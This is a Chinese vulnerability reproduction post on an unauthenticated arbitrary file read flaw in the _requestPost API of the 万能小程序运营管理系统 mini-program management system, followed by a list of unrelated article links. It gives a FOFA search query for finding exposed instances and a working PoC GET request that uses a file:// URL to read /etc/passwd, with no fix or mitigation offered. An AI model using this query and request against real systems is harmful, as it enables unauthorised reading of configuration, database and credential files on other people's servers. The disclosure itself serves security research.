当前位置： 首页 > article >正文

万能小程序运营管理系统 _requestPost 任意文件读取漏洞复现

article 2024/9/20 23:46:45

0x01 产品简介

万能小程序运营管理系统是一种功能全面的系统，旨在帮助开发者和运营人员更好地管理和推广小程序。该系统集成了多种功能模块，覆盖了从小程序开发、部署到运营管理的全链条服务。系统通过提供丰富的功能和工具，帮助用户轻松搭建、管理和优化小程序。该系统支持多平台部署，包括微信小程序、支付宝小程序、百度小程序、QQ小程序等，满足不同用户的需求。

0x02 漏洞概述

万能小程序运营管理系统 _requestPost 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

0x03 复现环境

FOFA：

body="/com/css/head_foot.css" || body="/com/css/iconfont"

3ae66d878af64b908011938a235e157c.png

0x04 漏洞复现

PoC

GET /api/wxapps/_requestPost?data=1&url=file:///etc/passwd HTTP/1.1
Host:

http://www.kler.cn/news/310651.html

相关文章：

  • DAY20240911 VUE:解锁前端路由的奥秘：如何在单页应用中避免404困境？
  • 流量牵引技术与传统防火墙的区别
  • 在网络环境中怎么保护个人信息安全？
  • 土壤墒情测定仪的工作原理
  • 汽车软件开发之敏捷开发
  • Spring 源码解读：手动实现Spring事件机制
  • JSON.parseArray 内存溢出
  • 【第十一章：Sentosa_DSML社区版-机器学习分类】
  • Oracle数据库高级技术探秘：分区表管理与代码实战
  • Python 全栈系列271 微服务踩坑记
  • 数据库学习02——mysql清空表数据后 IBD 文件仍很大的解决方案
  • 面向开发者的LLM入门教程（学习笔记01）
  • 探索学习Python的最佳开发环境和编辑器
  • 家用燃气报警器-家庭可燃气体探测器-旭华智能
  • 【网络安全】服务基础第二阶段——第四节：Linux系统管理基础----Linux网络与日志服务器
  • Docker 镜像制作（Dockerfile）
  • 为解决bypy大文件上传报错—获取百度云文件直链并使用Aria2上传文件至服务器
  • Mini-Omni：语言模型可以在流中听、说和思考
  • Docker本地部署Chatbot Ollama搭建AI聊天机器人并实现远程交互
  • Spring boot aop集成（面向切面的编程）
  • TMStarget学习——T1 Segmentation数据处理及解bug
  • js进阶-作用域是什么
  • idear导入他人项目如何快速运行
  • 【PostgreSQL】安装及使用(Navicat/Arcgis),连接(C#)
  • 环境搭建2（游戏逆向）
  • 深入解析：ECMAScript与JavaScript的区别与联系
  • 江科大笔记—OLED显示屏
  • golang的sync包浅析
  • ARM驱动学习之 IOremap实现GPIO 读
  • 安卓13去掉下拉菜单的Dump SysUI 堆的选项 android13删除Dump SysUI 堆